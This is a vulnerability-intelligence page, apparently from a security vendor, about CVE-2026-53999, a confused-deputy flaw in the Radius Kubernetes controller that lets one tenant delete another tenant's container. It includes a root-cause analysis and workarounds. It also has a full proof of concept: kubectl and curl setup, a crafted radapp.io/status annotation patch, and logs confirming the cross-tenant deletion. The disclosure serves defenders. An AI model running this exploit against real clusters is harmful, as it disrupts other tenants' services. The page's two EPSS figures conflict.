Basic Information EPSS Score 0%
KEV Status -
Concerned about an active attack path? Talk to our security experts and see Miggo in action.
Contact Us Basic Information EPSS Score 0%
KEV Status -
Is this CVE running in your environment? Easily map the attack path and prioritize which CVEs are a threat to your organization
Validate Exposure Vulnerability IntelligenceMiggo AI
Unlock WAF rules for this CVE Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Get WAF rules WAF Protection Rules WAF Rule W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.
Reasoning *v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.
Want to receive monthly insights? Sign up for our Monthly Active Threats Report
Detect and Respond To Threats Faster. Schedule Your Personalized Demo Today! Book a Demo CVE-2026-53999: Radius Cross-Tenant Deletion DoS | Miggo Vulnerability IntelligenceMiggo AI Root Cause AnalysisThe vulnerability exists in the Radius Kubernetes controller and allows for a cross-tenant resource deletion, following the 'Confused Deputy' pattern. The root cause is improper input validation of user-controllable annotations on Kubernetes Deployment objects.
The analysis of the security advisory and the associated patch (PR #11967) reveals the attack path. An attacker can modify the radapp.io/status annotation on a Deployment they control. The reconciler.readAnnotations function in pkg/controller/reconciler/annotations.go would then read this annotation and deserialize the JSON content without validating it. The attacker can set the container field in the JSON to the full resource ID of a container in a different tenant.
Subsequently, during the reconciliation process, specifically in the deletion phase handled by reconciler.DeploymentReconciler.startDeleteOperationIfNeeded in pkg/controller/reconciler/deployment_reconciler.go, the controller uses this untrusted container ID to perform a deletion. Because the controller operates with high privileges, it can delete resources across different tenants without proper authorization checks, leading to a denial of service for the victim tenant.
The patch addresses this by introducing two main fixes:
In annotations.go, it adds validation (validateDeploymentStatus) to ensure the data within the radapp.io/status annotation is consistent and well-formed.
More critically, in deployment_reconciler.go, it adds an ownership check within startDeleteOperationIfNeeded. Before deleting a container, the controller now fetches the container's metadata and verifies that it has a resource reference back to the specific deployment being reconciled. If the ownership does not match, the deletion is aborted, preventing the cross-tenant attack.
Vulnerable functions reconciler.readAnnotationspkg/controller/reconciler/annotations.go This function is the source of the vulnerability. It reads and deserializes the user-controlled `radapp.io/status` annotation from a Kubernetes Deployment without validating that the resource IDs within it belong to the correct tenant. An attacker can inject a malicious annotation pointing to a resource in another tenant's scope.
reconciler.DeploymentReconciler.startDeleteOperationIfNeededpkg/controller/reconciler/deployment_reconciler.go This function acts as the vulnerability sink. It takes the unvalidated container ID from the annotation (processed by `readAnnotations`) and initiates a deletion operation. In the vulnerable version, it did not verify that the controller had the right to delete the specified container, thus acting as a 'confused deputy' and deleting resources across tenants using its own elevated privileges.
reconciler.deleteContainerpkg/controller/reconciler/util.go This function is the final step in the attack chain, responsible for making the API call to the Radius control plane to delete the container resource. It directly uses the container ID passed to it, which, in the case of exploitation, is the malicious ID provided by the attacker.
reconciler.DeploymentReconciler.reconcileDeletepkg/controller/reconciler/deployment_reconciler.go This function is part of the main reconciliation loop for deployments. When a deployment is marked for deletion, this function is called. It orchestrates the cleanup process, which includes calling the vulnerable `startDeleteOperationIfNeeded` function, thereby triggering the cross-tenant resource deletion.
Technical Details CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Package Name Ecosystem Vulnerable Versions First Patched Version github.com/radius-project/radius go < 0.58.0 0.58.0
Basic Information EPSS Score 16.49%
KEV Status No
Basic Information EPSS Score 16.49%
KEV Status No
CVE-2026-53999 : Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs) Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Summary
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
Vulnerability Type : Configuration Injection / Cross-Tenant Resource Deletion
CVSS 3.1 Score : 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
CWE Classification : CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
Affected Versions : Radius v0.57.1 and earlier versions
Vulnerability Details
Root Cause
The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
Vulnerable Code Locations
Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}
Technology
Go Technology
Go Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion
Attack Chain ┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘
Proof of Concept (PoC)
Prerequisites
Kubernetes cluster with Radius v0.54.0 installed
Attacker has permission to modify Deployment annotations in a namespace
Target tenant has Radius-managed container resources
Environment Setup
Step 1: Install Kind Cluster and Radius # Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-system
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2m
Step 2: Create Attacker Tenant (tenant-a) # Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
Step 3: Deploy Legitimate Application in tenant-a Create legitimate-app.bicep:
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}
rad deploy legitimate-app.bicep
Step 4: Create Victim Tenant (tenant-b) # Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || true
Step 5: Verify Victim Resource Exists kubectl get deployment -n tenant-b-victim-app victim-container
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
Exploitation
Step 6: Inject Malicious Annotation Create attack-patch.yaml:
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
deployment.apps/legitimate-app patched
Step 7: Verify Attack Success Wait a few seconds and check the victim's resources:
kubectl get all -n tenant-b-victim-app
No resources found in tenant-b-victim-app namespace.
Log Evidence The controller logs show the cross-tenant deletion operation:
Attack Triggered (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Cross-Tenant Delete Request (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}
Deletion Successful (15:29:41.367Z):
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Impact
Security Impact
Confidentiality : No direct impact (no data disclosure)
Integrity : None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
Availability : High - Can cause service disruption for target tenants
Attack Prerequisites
Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
| Metric | Value | Description |
|---------------------|---------|--------------------------------------------------------------------|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |
Workarounds Until an official fix is released, consider the following mitigations:
Restrict Annotation Modification Permissions : Use Kubernetes RBAC to limit who can modify Deployment annotations
Monitor Anomalous Operations : Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
Network Isolation : Implement strict network policies in multi-tenant environments
Remediation Recommendations
Short-term Fix Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}
Long-term Fix
Implement Least Privilege Principle : The controller should use credentials associated with the Deployment's tenant
Add Radius API Authorization Validation : UCP should validate the source tenant of delete requests
Audit Logging : Log all cross-tenant operation attempts
References